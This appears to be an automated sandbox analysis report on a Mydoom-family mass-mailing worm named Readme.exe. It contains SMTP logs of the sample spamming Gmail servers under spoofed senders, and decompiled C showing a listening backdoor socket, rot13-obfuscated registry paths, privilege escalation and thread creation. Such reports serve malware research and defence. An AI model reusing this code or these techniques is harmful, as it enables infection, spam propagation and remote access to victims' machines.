Oct 31, 2022 12:21:11.543394089 CET	25	50138	142.250.150.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. a6-20020a195f46000000b0049ff976d9casi3625475lfj.36 - gsmtp
Oct 31, 2022 12:21:12.452054024 CET	50141	25	192.168.2.5	142.250.147.26	DATA
Oct 31, 2022 12:21:12.452176094 CET	50140	25	192.168.2.5	142.250.150.27	DATA
Oct 31, 2022 12:21:12.493072033 CET	25	50141	142.250.147.26	192.168.2.5	354 Go ahead f20-20020a056402195400b00459c1e64776si7194075edz.412 - gsmtp
Oct 31, 2022 12:21:12.506824970 CET	25	50140	142.250.150.27	192.168.2.5	354 Go ahead u10-20020a056512128a00b00492f6ddba55si4878985lfs.476 - gsmtp
Oct 31, 2022 12:21:12.734759092 CET	50141	25	192.168.2.5	142.250.147.26	.
Oct 31, 2022 12:21:12.778776884 CET	25	50141	142.250.147.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. f20-20020a056402195400b00459c1e64776si7194075edz.412 - gsmtp
Oct 31, 2022 12:21:12.877068996 CET	25	50140	142.250.150.27	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. u10-20020a056512128a00b00492f6ddba55si4878985lfs.476 - gsmtp
Oct 31, 2022 12:21:12.960377932 CET	25	50143	64.233.167.27	192.168.2.5	220 mx.google.com ESMTP g6-20020a05600c4ec600b003cf39781e60si3867838wmq.197 - gsmtp
Oct 31, 2022 12:21:12.960537910 CET	50143	25	192.168.2.5	64.233.167.27	HELO aspmx.l.google.com
Oct 31, 2022 12:21:12.997087955 CET	25	50143	64.233.167.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:12.997248888 CET	50143	25	192.168.2.5	64.233.167.27	MAIL FROM: <support@cyberplat.com>
Oct 31, 2022 12:21:13.031060934 CET	25	50143	64.233.167.27	192.168.2.5	250 2.1.0 OK g6-20020a05600c4ec600b003cf39781e60si3867838wmq.197 - gsmtp
Oct 31, 2022 12:21:13.036098003 CET	50143	25	192.168.2.5	64.233.167.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:21:13.183804035 CET	25	50143	64.233.167.27	192.168.2.5	250 2.1.5 OK g6-20020a05600c4ec600b003cf39781e60si3867838wmq.197 - gsmtp
Oct 31, 2022 12:21:13.184026003 CET	50143	25	192.168.2.5	64.233.167.27	DATA
Oct 31, 2022 12:21:13.218575954 CET	25	50143	64.233.167.27	192.168.2.5	354 Go ahead g6-20020a05600c4ec600b003cf39781e60si3867838wmq.197 - gsmtp
Oct 31, 2022 12:21:13.408592939 CET	25	50142	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP ng16-20020a17090b1a9000b00212fe4afc73si1247782pjb.24 - gsmtp
Oct 31, 2022 12:21:13.408746958 CET	50142	25	192.168.2.5	74.125.200.26	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:21:13.522989988 CET	25	50143	64.233.167.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. g6-20020a05600c4ec600b003cf39781e60si3867838wmq.197 - gsmtp
Oct 31, 2022 12:21:13.701272964 CET	25	50145	142.250.147.27	192.168.2.5	220 mx.google.com ESMTP z5-20020a05640235c500b0046311e80ebcsi7938468edc.151 - gsmtp
Oct 31, 2022 12:21:13.701859951 CET	50145	25	192.168.2.5	142.250.147.27	HELO alt2.aspmx.l.google.com
Oct 31, 2022 12:21:13.745254993 CET	25	50145	142.250.147.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:13.750080109 CET	50145	25	192.168.2.5	142.250.147.27	MAIL FROM: <support@cyberplat.com>
Oct 31, 2022 12:21:13.791579962 CET	25	50145	142.250.147.27	192.168.2.5	250 2.1.0 OK z5-20020a05640235c500b0046311e80ebcsi7938468edc.151 - gsmtp
Oct 31, 2022 12:21:13.791707993 CET	50145	25	192.168.2.5	142.250.147.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:21:13.801862955 CET	25	50144	74.125.200.27	192.168.2.5	220 mx.google.com ESMTP c17-20020a170903235100b001865c1ecf30si10346459plh.176 - gsmtp
Oct 31, 2022 12:21:13.802025080 CET	50144	25	192.168.2.5	74.125.200.27	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:21:13.952162027 CET	25	50145	142.250.147.27	192.168.2.5	250 2.1.5 OK z5-20020a05640235c500b0046311e80ebcsi7938468edc.151 - gsmtp
Oct 31, 2022 12:21:13.952512980 CET	50145	25	192.168.2.5	142.250.147.27	DATA
Oct 31, 2022 12:21:13.954041004 CET	25	50142	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:13.954229116 CET	50142	25	192.168.2.5	74.125.200.26	MAIL FROM: <admin@bigtits.com>
Oct 31, 2022 12:21:13.993818045 CET	25	50145	142.250.147.27	192.168.2.5	354 Go ahead z5-20020a05640235c500b0046311e80ebcsi7938468edc.151 - gsmtp
Oct 31, 2022 12:21:14.165421009 CET	50145	25	192.168.2.5	142.250.147.27	.
Oct 31, 2022 12:21:14.209611893 CET	25	50145	142.250.147.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. z5-20020a05640235c500b0046311e80ebcsi7938468edc.151 - gsmtp
Oct 31, 2022 12:21:14.298544884 CET	25	50146	142.250.153.26	192.168.2.5	220 mx.google.com ESMTP ck17-20020a170906c45100b00780af308970si5730055ejb.185 - gsmtp
Oct 31, 2022 12:21:14.305802107 CET	50146	25	192.168.2.5	142.250.153.26	HELO aspmx2.googlemail.com
Oct 31, 2022 12:21:14.331160069 CET	25	50144	74.125.200.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:14.331497908 CET	50144	25	192.168.2.5	74.125.200.27	MAIL FROM: <anna@aol.com>
Oct 31, 2022 12:21:14.336616993 CET	25	50146	142.250.153.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:21:14.339215040 CET	50146	25	192.168.2.5	142.250.153.26	MAIL FROM: <support@cyberplat.com>
Oct 31, 2022 12:21:14.366925955 CET	25	50146	142.250.153.26	192.168.2.5	250 2.1.0 OK ck17-20020a170906c45100b00780af308970si5730055ejb.185 - gsmtp
Oct 31, 2022 12:21:14.367172003 CET	50146	25	192.168.2.5	142.250.153.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:21:14.497034073 CET	25	50142	74.125.200.26	192.168.2.5	250 2.1.0 OK ng16-20020a17090b1a9000b00212fe4afc73si1247782pjb.24 - gsmtp
Oct 31, 2022 12:21:14.501590014 CET	50142	25	192.168.2.5	74.125.200.26	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:21:14.536757946 CET	25	50146	142.250.153.26	192.168.2.5	250 2.1.5 OK ck17-20020a170906c45100b00780af308970si5730055ejb.185 - gsmtp
Oct 31, 2022 12:21:14.540746927 CET	50146	25	192.168.2.5	142.250.153.26	DATA
Oct 31, 2022 12:21:14.569072962 CET	25	50146	142.250.153.26	192.168.2.5	354 Go ahead ck17-20020a170906c45100b00780af308970si5730055ejb.185 - gsmtp
Oct 31, 2022 12:21:14.708529949 CET	50146	25	192.168.2.5	142.250.153.26	.
Oct 31, 2022 12:21:14.739703894 CET	25	50146	142.250.153.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. ck17-20020a170906c45100b00780af308970si5730055ejb.185 - gsmtp
Oct 31, 2022 12:21:14.857460022 CET	25	50144	74.125.200.27	192.168.2.5	250 2.1.0 OK c17-20020a170903235100b001865c1ecf30si10346459plh.176 - gsmtp
Oct 31, 2022 12:21:14.860414982 CET	50144	25	192.168.2.5	74.125.200.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:21:15.061691999 CET	25	50142	74.125.200.26	192.168.2.5	250 2.1.5 OK ng16-20020a17090b1a9000b00212fe4afc73si1247782pjb.24 - gsmtp
Oct 31, 2022 12:21:15.063699961 CET	50142	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:21:15.396495104 CET	25	50144	74.125.200.27	192.168.2.5	250 2.1.5 OK c17-20020a170903235100b001865c1ecf30si10346459plh.176 - gsmtp
Oct 31, 2022 12:21:15.397617102 CET	50144	25	192.168.2.5	74.125.200.27	DATA
Oct 31, 2022 12:21:15.606843948 CET	25	50142	74.125.200.26	192.168.2.5	354 Go ahead ng16-20020a17090b1a9000b00212fe4afc73si1247782pjb.24 - gsmtp
Oct 31, 2022 12:21:15.923631907 CET	25	50144	74.125.200.27	192.168.2.5	354 Go ahead c17-20020a170903235100b001865c1ecf30si10346459plh.176 - gsmtp
Oct 31, 2022 12:21:16.380435944 CET	25	50058	85.187.148.2	192.168.2.5	250 Accepted
Oct 31, 2022 12:21:16.380631924 CET	50058	25	192.168.2.5	85.187.148.2	DATA
Oct 31, 2022 12:21:16.535518885 CET	25	50058	85.187.148.2	192.168.2.5	354 Enter message, ending with "." on a line by itself
Oct 31, 2022 12:21:17.148216963 CET	25	50142	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. ng16-20020a17090b1a9000b00212fe4afc73si1247782pjb.24 - gsmtp
Oct 31, 2022 12:21:17.209755898 CET	25	50144	74.125.200.27	192.168.2.5	550-5.7.26 Unauthenticated email from aol.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of aol.com domain if 550-5.7.26 this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. c17-20020a170903235100b001865c1ecf30si10346459plh.176 - gsmtp
Oct 31, 2022 12:21:19.190236092 CET	25	50058	85.187.148.2	192.168.2.5	550-This message contains a virus or other harmful content 550 (Win.Malware.Mydoom-6804696-0)
Oct 31, 2022 12:21:20.744900942 CET	25	50058	85.187.148.2	192.168.2.5	421 az1-ss24.a2hosting.com lost input connection

Statistics

High Level Behavior Distribution

Click to dive into process behavior distribution

Disassembly

Reset < >

Analysis Process: Readme.exePID: 5456, Parent PID: 3324COMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.4%
Total number of Nodes:	1703
Total number of Limit Nodes:	24

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E10002020() {
				void* _v16;
				char _v156;
				void _v204;
				void _v252;
				void* _v266;
				void _v268;
				char _v668;
				char _v672;
				char _v696;
				int _v700;
				intOrPtr _v704;
				intOrPtr _v712;
				void* _v716;
				void* _v720;
				int _v732;
				char _v736;
				intOrPtr _v740;
				intOrPtr _v752;
				void* __ebx;
				char _t39;
				void* _t42;
				void* _t48;
				void* _t51;
				char* _t56;
				void* _t57;
				char* _t60;
				char* _t61;
				int _t68;
				char _t75;
				void* _t76;
				intOrPtr* _t78;
				void* _t80;
				intOrPtr* _t84;
				intOrPtr* _t85;

				_v672 = 0x10;
				_t39 =  &_v668;
				_v696 = _t39;
				_v700 = 0x202;
				L10003034();
				_t78 = _t76 - 0x2a4;
				_t68 = 0;
				if(_t39 != 0) {
					L10:
					return _t68;
				}
				_v700 = 0;
				_v704 = 1;
				 *_t78 = 2; // executed
				L1000301C(); // executed
				_t80 = _t78 - 0xc;
				_t75 = _t39;
				if(_t39 == 0xffffffff) {
					L9:
					_t68 = 0;
					goto L10;
				}
				asm("cld");
				_t42 = memset( &_v268, 0, 4 << 2);
				_v268 = 2;
				_v720 = 0xc57;
				L1000303C();
				_v266 = _t42;
				asm("cld");
				memset( &_v252, memset( &_v204, 0, 0xa << 2), 0xa << 2);
				_t84 = _t80 + 0xc - 4 + 0x18;
				_v720 = "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\ihyaiby32\\Irefvba";
				_t60 =  &_v156;
				 *_t84 = _t60;
				E10001F26();
				_v712 = 0x28;
				_v716 =  &_v204;
				_v720 = "usw";
				 *_t84 = _t60; // executed
				_t48 = E10001F57(_t60); // executed
				_t68 = 0;
				if(_t48 == 0) {
					goto L10;
				}
				_v712 = 0x28;
				_v716 =  &_v252;
				_v720 = "pafw";
				 *_t84 =  &_v156; // executed
				_t51 = E10001F57(_t60); // executed
				_t68 = 0;
				if(_t51 == 0) {
					goto L10;
				}
				_v720 =  &_v204;
				 *_t84 = 0x10006054;
				E10001F26();
				_v720 =  &_v252;
				 *_t84 = 0x100060c4;
				E10001F26();
				_v716 = 0x10;
				_t56 =  &_v268;
				_v720 = _t56;
				 *_t84 = _t75; // executed
				L10003044(); // executed
				_t85 = _t84 - 0xc;
				if(_t56 == 0xffffffff) {
					L8:
					_v736 = _t75;
					L10003014();
					goto L9;
				}
				_v732 = 0;
				_v736 = _t75; // executed
				L1000304C(); // executed
				_t85 = _t85 - 8;
				_t61 =  &_v672;
				if(_t56 == 0xffffffff) {
					goto L8;
				}
				L6:
				_v736 = _t61;
				_t57 =  &_v268;
				_v740 = _t57;
				 *_t85 = _t75; // executed
				L10003054(); // executed
				_t85 = _t85 - 0xc;
				if(_t57 != 0xffffffff) {
					_v752 = _t57;
					 *_t85 = E10001C8C;
					E10001180();
				}
				goto L6;
			}

0x1000202c
0x10002036
0x1000203c
0x10002040
0x10002047
0x1000204c
0x1000204f
0x10002056
0x100021fd
0x10002206
0x10002206
0x1000205c
0x10002064
0x1000206c
0x10002073
0x10002078
0x1000207b
0x10002080
0x100021f8
0x100021f8
0x00000000
0x100021f8
0x1000208c
0x10002099
0x1000209b
0x100020a4
0x100020ab
0x100020b3
0x100020c0
0x100020d5
0x100020d5
0x100020d7
0x100020df
0x100020e5
0x100020e8
0x100020ed
0x100020fb
0x100020ff
0x10002107
0x1000210a
0x1000210f
0x10002116
0x00000000
0x00000000
0x1000211c
0x1000212a
0x1000212e
0x1000213c
0x1000213f
0x10002144
0x1000214b
0x00000000
0x00000000
0x10002157
0x1000215b
0x10002162
0x1000216d
0x10002171
0x10002178
0x1000217d
0x10002185
0x1000218b
0x1000218f
0x10002192
0x10002197
0x1000219d
0x100021ed
0x100021ed
0x100021f0
0x00000000
0x100021f5
0x1000219f
0x100021a7
0x100021aa
0x100021af
0x100021b2
0x100021bb
0x00000000
0x00000000
0x100021bd
0x100021bd
0x100021c1
0x100021c7
0x100021cb
0x100021ce
0x100021d3
0x100021d9
0x100021db
0x100021df
0x100021e6
0x100021e6
0x00000000

APIs

WSAStartup.WS2_32 ref: 10002047
socket.WS2_32 ref: 10002073
htons.WS2_32 ref: 100020AB
rot13.SHERVANS ref: 100020E8

Part of subcall function 10001F26: rot13c.SHERVANS ref: 10001F40

Get_Reg_SZ.SHERVANS ref: 1000210A

Part of subcall function 10001F57: RegOpenKeyExA.ADVAPI32 ref: 10001F90
Part of subcall function 10001F57: RegOpenKeyExA.ADVAPI32 ref: 10001FBE
Part of subcall function 10001F57: RegQueryValueExA.ADVAPI32 ref: 10001FF9
Part of subcall function 10001F57: RegCloseKey.ADVAPI32 ref: 10002009

Get_Reg_SZ.SHERVANS ref: 1000213F
rot13.SHERVANS ref: 10002162
rot13.SHERVANS ref: 10002178
bind.WSOCK32 ref: 10002192
listen.WS2_32 ref: 100021AA
accept.WS2_32 ref: 100021CE
create_thread.SHERVANS ref: 100021E6
closesocket.WS2_32 ref: 100021F0

Strings

@P, xrefs: 100020D7
(, xrefs: 1000211C

Memory Dump Source

Source File: 00000000.00000002.304069235.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.304063881.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304076424.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304082187.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304097063.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304103368.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.304113880.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Readme.jbxd

Similarity

API ID: rot13$Get_OpenReg_$CloseQueryStartupValueacceptbindclosesocketcreate_threadhtonslistenrot13csocket
String ID: ($@P
API String ID: 4131626927-3767838720
Opcode ID: d78ab5753523488464efac9591bc959a05145e684d76b3ee9f59682df6552bca
Instruction ID: 518850a0735b41474e77e1906edfbaa0d3577d285dae3c11e1d321053acd375c
Opcode Fuzzy Hash: d78ab5753523488464efac9591bc959a05145e684d76b3ee9f59682df6552bca
Instruction Fuzzy Hash: 18418EB48093049AE750EF24C9443EEBBF4EF40390F40CA7DE59887285EB759A889F43

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 13.6, APIs: 9, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00401150() {
				char _v12;
				char _v16;
				char* _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				intOrPtr _t20;
				char _t23;
				intOrPtr* _t25;
				void* _t35;
				void* _t36;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t39;
				signed int _t40;

				_v44 = E00401000; // executed
				SetUnhandledExceptionFilter(??); // executed
				_t40 = _t39 - 4;
				E0040B000(E0040AF00(_t35, _t36));
				_v12 = 0;
				_v32 =  &_v12;
				_t20 =  *0x40d4e4; // 0xffffffff
				 *_t40 = 0x414004;
				_v36 = _t20;
				_v40 =  &_v16;
				_v44 = 0x414000;
				L0040C1B0();
				_t23 =  *0x418230;
				if(_t23 == 0) {
					L6:
					L0040C1A0();
					_t37 =  *0x40d4e8; // 0x4000
					 *_t23 = _t37;
					E0040AED0(_t23);
					_t40 = _t40 & 0xfffffff0; // executed
					_t25 = E0040AEB0(); // executed
					L0040C190();
					_v40 =  *_t25;
					_v44 =  *0x414000;
					 *_t40 =  *0x414004; // executed
					_t23 = E00404076(_t37); // executed
					L0040C188();
					 *_t40 = _t23; // executed
					ExitProcess(??); // executed
					L7:
					_v40 = _t23;
					_t23 =  *((intOrPtr*)( *0x4194a4 + 0x10));
					_v44 = _t23;
					L0040C1A8();
					_t38 =  *0x4194a4;
					L2:
					if(_t38 != 0xffffffe0) {
						_v40 =  *0x418230;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x30));
						_v44 = _t23;
						L0040C1A8();
						_t38 =  *0x4194a4;
					}
					if(_t38 != 0xffffffc0) {
						_v40 =  *0x418230;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x50));
						_v44 = _t23;
						L0040C1A8();
					}
					goto L6;
				}
				 *0x40d4e8 = _t23;
				_t38 =  *0x4194a4;
				if(_t38 != 0) {
					goto L7;
				}
				goto L2;
			}

0x00401157
0x0040115e
0x00401163
0x0040116b
0x00401170
0x0040117a
0x0040117e
0x00401183
0x0040118a
0x00401191
0x0040119a
0x0040119e
0x004011a3
0x004011aa
0x00401210
0x00401210
0x00401215
0x0040121b
0x0040121d
0x00401222
0x00401225
0x0040122a
0x00401231
0x0040123a
0x00401243
0x00401246
0x0040124d
0x00401252
0x00401255
0x00401260
0x00401260
0x00401269
0x0040126c
0x0040126f
0x00401274
0x004011bf
0x004011c2
0x004011c9
0x004011d2
0x004011d5
0x004011d8
0x004011dd
0x004011dd
0x004011e6
0x004011ed
0x004011f6
0x004011f9
0x004011fc
0x004011fc
0x00000000
0x004011e6
0x004011ac
0x004011b1
0x004011b9
0x00000000
0x00000000
0x00000000

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
__getmainargs.MSVCRT ref: 0040119E
_setmode.MSVCRT ref: 004011D8
_setmode.MSVCRT ref: 004011FC
__p__fmode.MSVCRT ref: 00401210
__p__environ.MSVCRT ref: 0040122A
_cexit.MSVCRT ref: 0040124D
ExitProcess.KERNEL32 ref: 00401255
_setmode.MSVCRT ref: 0040126F

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: b4eaf857ed3212c497738ef17982bc4edc5aafd90f9051ff687a4a2c9b8e1448
Instruction ID: fe54e7aefeed6918a5ef1b916f0e819b51a912cea38922c35654569b06e5a2dd
Opcode Fuzzy Hash: b4eaf857ed3212c497738ef17982bc4edc5aafd90f9051ff687a4a2c9b8e1448
Instruction Fuzzy Hash: 8631EDB4908701DFC700EF75D98154E77E5BF88354F008A7EE545AB3A2D73898418B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401149 Relevance: 12.1, APIs: 8, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00401149() {
				char _v12;
				char _v16;
				char* _v32;
				intOrPtr _v36;
				char _v40;
				char _v44;
				intOrPtr _t20;
				char _t23;
				intOrPtr* _t25;
				_Unknown_base(*)()* _t34;
				void* _t36;
				void* _t37;
				intOrPtr _t38;
				intOrPtr _t39;
				void* _t42;
				signed int _t44;

				_v44 = E00401000; // executed
				SetUnhandledExceptionFilter(_t34); // executed
				_t44 = _t42 - 0x20;
				E0040B000(E0040AF00(_t36, _t37));
				_v12 = 0;
				_v32 =  &_v12;
				_t20 =  *0x40d4e4; // 0xffffffff
				 *_t44 = 0x414004;
				_v36 = _t20;
				_v40 =  &_v16;
				_v44 = 0x414000;
				L0040C1B0();
				_t23 =  *0x418230;
				if(_t23 == 0) {
					L7:
					L0040C1A0();
					_t38 =  *0x40d4e8; // 0x4000
					 *_t23 = _t38;
					E0040AED0(_t23);
					_t44 = _t44 & 0xfffffff0; // executed
					_t25 = E0040AEB0(); // executed
					L0040C190();
					_v40 =  *_t25;
					_v44 =  *0x414000;
					 *_t44 =  *0x414004; // executed
					_t23 = E00404076(_t38); // executed
					L0040C188();
					 *_t44 = _t23; // executed
					ExitProcess(??); // executed
					goto L8;
				} else {
					 *0x40d4e8 = _t23;
					_t39 =  *0x4194a4;
					if(_t39 != 0) {
						L8:
						_v40 = _t23;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x10));
						_v44 = _t23;
						L0040C1A8();
						_t39 =  *0x4194a4;
					}
					if(_t39 != 0xffffffe0) {
						_v40 =  *0x418230;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x30));
						_v44 = _t23;
						L0040C1A8();
						_t39 =  *0x4194a4;
					}
					if(_t39 != 0xffffffc0) {
						_v40 =  *0x418230;
						_t23 =  *((intOrPtr*)( *0x4194a4 + 0x50));
						_v44 = _t23;
						L0040C1A8();
					}
					goto L7;
				}
			}

0x00401157
0x0040115e
0x00401163
0x0040116b
0x00401170
0x0040117a
0x0040117e
0x00401183
0x0040118a
0x00401191
0x0040119a
0x0040119e
0x004011a3
0x004011aa
0x00401210
0x00401210
0x00401215
0x0040121b
0x0040121d
0x00401222
0x00401225
0x0040122a
0x00401231
0x0040123a
0x00401243
0x00401246
0x0040124d
0x00401252
0x00401255
0x00000000
0x004011ac
0x004011ac
0x004011b1
0x004011b9
0x00401260
0x00401260
0x00401269
0x0040126c
0x0040126f
0x00401274
0x00401274
0x004011c2
0x004011c9
0x004011d2
0x004011d5
0x004011d8
0x004011dd
0x004011dd
0x004011e6
0x004011ed
0x004011f6
0x004011f9
0x004011fc
0x004011fc
0x00000000
0x004011e6

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040115E
__getmainargs.MSVCRT ref: 0040119E
_setmode.MSVCRT ref: 004011D8
_setmode.MSVCRT ref: 004011FC
__p__fmode.MSVCRT ref: 00401210
__p__environ.MSVCRT ref: 0040122A
_cexit.MSVCRT ref: 0040124D
ExitProcess.KERNEL32 ref: 00401255
_setmode.MSVCRT ref: 0040126F

Memory Dump Source

Source File: 00000000.00000002.303767032.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303758660.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303782487.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303788318.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303795487.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303800297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303812332.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Readme.jbxd

Similarity

API ID: _setmode$ExceptionExitFilterProcessUnhandled__getmainargs__p__environ__p__fmode_cexit
String ID:
API String ID: 3695137517-0
Opcode ID: de32d829cb3842ad61717656b7ea68eb81935684880d1ae83627c20b65cc97da
Instruction ID: 7cb89241a2ef958f6d0767399d1a1595bed5fc4071ce6b0a09e50a244a9f3c8c
Opcode Fuzzy Hash: de32d829cb3842ad61717656b7ea68eb81935684880d1ae83627c20b65cc97da
Instruction Fuzzy Hash: CF21FDB4904700DFC700EFB5D98164A7BE5BF88354F008A7EE545AB3A2D738A8418B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00404076 Relevance: 33.4, APIs: 12, Strings: 7, Instructions: 169
sleeplibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 22%

			E00404076(void* __edx) {
				void* _v16;
				char _v428;
				char _v588;
				char _v748;
				char _v908;
				char _v940;
				char _v944;
				char* _v976;
				int _v980;
				int _v984;
				char* _v988;
				int _v992;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t43;
				void* _t44;
				void* _t51;
				void* _t52;
				void* _t53;
				void* _t55;
				char _t58;
				void* _t60;
				intOrPtr _t63;
				char* _t90;
				char* _t91;
				char* _t92;
				char* _t93;
				void* _t96;
				void* _t98;
				char* _t100;
				void* _t101;
				char* _t102;
				void* _t103;
				int* _t106;
				char** _t107;
				char** _t109;
				char** _t112;
				char** _t113;

				_t96 = __edx;
				E0040B320();
				E0040AEB0();
				_v984 =  &_v428;
				_v988 = 2; // executed
				L004086C8(); // executed
				_t106 = (_t103 - 0x000003cc & 0xfffffff0) - 8;
				_t43 = E00404AB8();
				_t114 = _t43;
				if(_t43 != 0) {
					 *_t106 = 0;
					ExitProcess(??); // executed
				}
				_t44 = E004049EA(_t114); // executed
				if(_t44 != 0) {
					 *_t106 = 0;
					ExitProcess(??);
				}
				_t98 =  &_v940;
				asm("cld");
				memset(_t98, 0, 7 << 2);
				_t107 =  &(_t106[3]);
				 *((short*)(_t98 + 7)) = 0;
				_v988 = "user32.dll";
				_v992 = 0x96;
				 *_t107 =  &_v908;
				E00404620();
				_v992 = "fureinaf.qyy";
				_t100 =  &_v940;
				 *_t107 = _t100;
				E00404C38();
				_v988 = _t100;
				_v992 = 0x96;
				_t90 =  &_v588;
				 *_t107 = _t90;
				E00404620();
				 *_t107 = _t90; // executed
				_t51 = E00403F24(); // executed
				_t101 = _t51; // executed
				_t52 = E00403D26(_t90); // executed
				if(_t52 != 0) {
					_t53 = E00403E2E(_t90);
					_t97 = 0;
					__eflags = _t53;
					if(_t53 == 0) {
						_t91 =  &_v588;
						 *_t107 = _t91;
						_t55 = E00404ED6();
						__eflags = _t55;
						if(_t55 != 0) {
							__eflags = _t101;
							if(_t101 == 0) {
								 *_t107 =  &_v588;
								LoadLibraryA(??);
								_t107 = _t107 - 4;
							}
							_v992 = "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\ihyaiby32\\Irefvba";
							_t102 =  &_v748;
							 *_t107 = _t102;
							E00404C38();
							_v992 = "fgngrz";
							_t92 =  &_v940;
							 *_t107 = _t92;
							E00404C38();
							_v992 = _t92;
							 *_t107 = _t102;
							_t58 = E00404812(_t92);
							_v944 = _t58;
							__eflags = _t58 - 1;
							if(_t58 <= 1) {
								_v976 =  &_v944;
								_v980 = 0;
								_v984 = 0;
								_v988 = E00403AE0;
								_v992 = 0;
								 *_t107 = 0;
								CreateThread(??, ??, ??, ??, ??, ??);
								_t107 = _t107 - 0x18;
							}
							 *_t107 = "SeDebugPrivilege";
							E00404DF4();
							 *_t107 = 0x7d0;
							Sleep(??);
							_t109 = _t107 - 4;
							_t60 = E0040402C(_t92);
							__eflags = _t60;
							if(_t60 == 0) {
								 *_t109 =  &_v588;
								LoadLibraryA(??);
								_t109 = _t109 - 4;
							}
							_v992 = "hfonpgvi";
							_t93 =  &_v940;
							 *_t109 = _t93;
							E00404C38();
							_v992 = _t93;
